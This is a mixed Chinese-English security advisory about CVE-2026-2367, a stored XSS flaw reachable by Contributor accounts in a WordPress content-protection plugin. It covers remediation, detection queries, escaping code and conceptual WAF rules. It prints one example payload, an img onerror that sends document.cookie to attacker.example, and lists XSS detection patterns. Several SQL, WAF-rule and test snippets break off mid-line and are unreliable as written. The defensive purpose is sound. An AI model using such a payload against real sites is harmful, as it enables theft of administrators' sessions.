| 插件名称 | 安全复制内容保护和内容锁定 |
|---|---|
| 漏洞类型 | 跨站脚本攻击（XSS） |
| CVE 编号 | CVE-2026-2367 |
| 紧急程度 | 低 |
| CVE 发布日期 | 2026-02-24 |
| 来源网址 | CVE-2026-2367 |
Authenticated Contributor Stored XSS in ‘Secure Copy Content Protection’ — What It Means and How to Respond
日期： 2026-02-24 | 作者： 香港安全专家
TL;DR
Stored Cross‑Site Scripting (XSS) (CVE‑2026‑2367) affects Secure Copy Content Protection and Content Locking (≤ 5.0.1). An authenticated Contributor can inject a malicious payload via a shortcode attribute that is stored and later executed when a higher‑privileged user views the affected page. Vendor patched the issue in version 5.0.2. Immediate action: validate installation, upgrade to 5.0.2+, or apply temporary mitigations (disable plugin, restrict content creation, scan and clean). Below is a technical explanation, detection and remediation guidance, and practical steps for Hong Kong-based sites and administrators.
背景和影响
- 漏洞： Stored Cross‑Site Scripting (XSS) via shortcode attribute
- 受影响的软件： Secure Copy Content Protection and Content Locking — versions ≤ 5.0.1
- 已修补于： 5.0.2
- CVE： CVE‑2026‑2367
- 报告时间： 24 Feb, 2026
- Required privilege for injection: 贡献者
- CVSS（报告）： 6.5 — moderate
Why this matters: Contributor accounts are commonly used for guest posts and collaboration. If Contributors can store shortcode attributes containing executable JS, attackers can cause script execution in the browser of Editors or Admins who view the content. Stored XSS can enable session theft, privilege escalation, and site compromise.
How this particular vulnerability works (technical summary)
WordPress shortcodes are handled by callbacks that receive attributes ($atts). If the plugin outputs attribute values without proper sanitization and escaping, attributes containing HTML/JS can execute in another user’s browser. In this case, a Contributor can save a crafted shortcode attribute that is later rendered and executed when a privileged user views the page.
Conceptual example (do not execute):
[secure_copy attr="<img src="x" onerror="fetch('https://attacker.example/steal?c='" + document.cookie)>"]重要注意事项：
- Contributors usually lack unfiltered_html, but shortcode attributes and plugin input fields can bypass that restriction.
- Exploitation typically requires a privileged user to view or preview the page.
攻击场景
- Guest author program: Attacker submits draft content with malicious shortcode attributes; editor/admin previews and triggers payload.
- 被攻陷的贡献者账户： Attacker edits posts to include payloads; visitors or admins are affected when viewing.
- Social engineering + review: Attacker lures privileged users to a malicious page (direct link to draft or post preview).
Potential attacker goals: credential theft, privileged actions via session context, persistent malicious scripts, creation of backdoors or accounts, and distribution of further payloads to site visitors.
Risk assessment — who should worry most?
- Sites accepting guest content or Contributor submissions without strict moderation.
- Sites where Editors/Admins frequently preview or review content.
- Sites with the vulnerable plugin installed and unpatched (≤ 5.0.1).
Treat this as actionable for any production site using the plugin. Even low‑privilege inputs can be leveraged to execute in a privileged user’s browser.
Immediate remediation checklist (what to do right now)
- 升级： Update the plugin to version 5.0.2 or later — this is the definitive fix.
- If you cannot update immediately, temporary mitigations:
- Disable or deactivate the plugin until patched.
- Restrict Contributor submissions: pause public registrations, set submissions to moderation-only.
- Use available WAF or edge filtering to block obvious exploit payloads (onerror=, <script>, javascript:, data: URIs).
- Advise Editors/Admins to avoid previewing untrusted content while unpatched.
- 扫描指标： Search posts and postmeta for suspicious patterns (shortcode attributes containing onerror=, <script>, javascript:, base64 payloads).
- If you find likely exploitation:
- Change passwords for administrators and editors.
- Remove or quarantine malicious posts/attributes after export & evidence collection.
- Check for new privileged users and unexpected file modifications.
- 如有必要，从干净的备份中恢复。.
- Log and preserve evidence: Export post IDs, raw payloads, timestamps — avoid public disclosure of exploit payloads.
Detecting and hunting for stored shortcode XSS
Targets to search:
- wp_posts.post_content for shortcode usage (e.g., [secure_copy …])
- wp_postmeta for plugin-stored attributes or settings
- 贡献者账户的最近编辑
- Patterns: ‘<‘, ‘onerror=’, ‘javascript:’, ‘src=’, ‘data:’, ‘base64’
Example SQL queries (read‑only first):
SELECT ID, post_title, post_author, post_date FROM wp_posts WHERE post_content LIKE '%[secure_copy %';
SELECT ID, post_title FROM wp_posts WHERE post_content REGEXP 'onerror|javascript:|Export suspicious entries for incident handling. Confirm where the plugin stores data before deleting content to avoid data loss.
Example payload and safe sanitization patterns
Unsafe pattern:
// insecure output: directly returning attribute value
return '<div class="secure-copy">' . $atts['message'] . '</div>';Safer patterns:
// sanitize on input and escape on output
$atts['message'] = sanitize_text_field( $atts['message'] );
return '<div class="secure-copy">' . esc_html( $atts['message'] ) . '</div>';
// allow limited HTML
$allowed = array(
'a' => array( 'href' => array(), 'title' => array(), 'rel' => array() ),
'strong' => array(),
'em' => array(),
);
$safe = wp_kses( $atts['message'], $allowed );
return '<div class="secure-copy">' . $safe . '</div>';
// when used in attributes
$attr = esc_attr( sanitize_text_field( $atts['label'] ) );
return '<button aria-label="' . $attr . '">Copy</button>';Never echo raw attribute data. Use both input sanitization and output escaping (sanitize_* on input, esc_* on output).
Code‑level patch example (illustrative)
Replace insecure:
function scp_shortcode_handler( $atts ) {
$atts = shortcode_atts( array( 'label' => '' ), $atts );
return '<span class="scp-label">' . $atts['label'] . '</span>';
}With secure:
function scp_shortcode_handler( $atts ) {
$atts = shortcode_atts( array( 'label' => '' ), $atts );
// sanitize and escape
$label = sanitize_text_field( $atts['label'] );
return '<span class="scp-label">' . esc_html( $label ) . '</span>';
}If limited markup is required, use wp_kses with a strict allowed list. Always escape when outputting into HTML or attributes.
Protections and virtual patching (generic guidance)
If you operate a web application firewall (WAF) or edge filtering, you can deploy temporary mitigations such as blocking typical XSS markers in content submissions, sanitizing suspicious inputs before storage, and monitoring for exploit attempts. These measures do not replace the vendor patch but can reduce exposure while you apply the fix.
Key mitigation approaches:
- WAF rules to detect and block requests containing onerror=, <script>, javascript:, or obvious obfuscation in shortcode submissions.
- Input sanitizers at the application edge that strip unsafe attributes from shortcode-like strings before they are stored.
- Content scanning across wp_posts and wp_postmeta to detect stored malicious payloads.
- Monitoring and alerting for repeated exploit attempts or anomalous submissions from new accounts.
Practical WAF rule examples (conceptual)
These are conceptual rules to illustrate detection logic; test and tune before deploying:
1) Block requests where payload contains "onerror=" inside a shortcode submission:
RequestBody|ARGS:CONTAINS /\[secure_copy[^\]]*onerror\s*=/i
2) Block REST API content submissions with typical XSS markers in attributes:
RequestURI|ARGS:CONTAINS /wp/v2/.* AND RequestBody|ARGS|JSON:CONTAINS /onerror|Carefully tune rules to avoid false positives (e.g., legitimate content that includes the word "script" for other reasons).
Hardening contributor workflows (best practices)
- Moderation: Keep Editors to moderate Contributor submissions; avoid automatic publishing from Contributors.
- Minimize unfiltered HTML: Ensure Contributors do not have unfiltered_html capability unless essential.
- Limit shortcode usage: Restrict use of risky shortcodes to trusted roles or validate shortcode attributes server-side.
- Automated scans: Flag new submissions with HTML event handlers or suspicious URIs.
- Account hygiene: Disable unnecessary public registration, require strong passwords, and enforce 2FA for Editors/Admins where possible.
Incident response checklist (if exploitation is suspected)
- Contain: Disable the vulnerable plugin immediately or apply edge filtering to block exploit attempts. Restrict browsing of untrusted content by privileged users.
- Investigate: Identify posts with malicious shortcode payloads, review logs for suspicious logins or privilege changes, and check filesystem integrity.
- Eradicate: Remove malicious content and backdoors, rotate credentials and API keys.
- Recover: Restore from clean backups and reapply security updates after testing in staging.
- Review & learn: Document root cause, timeline, and implement preventive controls (role hardening, content scanning, patch processes).
For developers: safe shortcode patterns and unit testing
Recommended practices:
- Create unit tests to ensure attributes are escaped in rendered output.
- Add integration tests that simulate Contributor submissions and verify saved content contains no executable contexts.
- Use static analysis and linter rules to flag direct output of unescaped variables.
Example PHPUnit test idea:
public function test_shortcode_escapes_attribute() {
$output = do_shortcode('[secure_copy label="<img src=x onerror=>"]');
$this->assertStringNotContainsString('onerror=', $output);
$this->assertStringNotContainsString('Why automatic updates and monitoring matter
Patching removes the vulnerability, but many sites lag behind updates. Attackers scan for known-vulnerable versions; every unpatched day increases exposure. Combine rapid updates with monitoring and layered controls (edge filtering, content scanning, and role hygiene) to reduce risk.
Recommended timeline — what to do in the next 72 hours
- Hour 0–6: Confirm whether the plugin is installed and its version. If ≤ 5.0.1, plan to update immediately or disable the plugin.
- Hour 6–24: Run content scans for suspicious shortcodes/attributes. Apply edge filtering or WAF rules where available. Restrict Contributor submissions.
- Day 2–3: Test and deploy plugin update (5.0.2+) in staging, then production. Rotate credentials if compromise suspected. Re-scan for malicious content.
- Ongoing: Continuous monitoring, scheduled malware scans, and periodic role audits.
Final thoughts — defence in depth
This shortcode attribute stored XSS emphasises two principles:
- Treat all plugin input as hostile: sanitise and escape rigorously.
- Low‑privilege users can still create high‑impact risks if their input is rendered in privileged contexts.
Action items: upgrade the plugin to 5.0.2+, enforce strict role management, scan for malicious content, and apply temporary edge filters if you cannot patch immediately. If you need local assistance, consider engaging a trusted incident response or security consultancy familiar with WordPress operations in Hong Kong and the APAC region.
Stay vigilant,
Hong Kong Security Expert
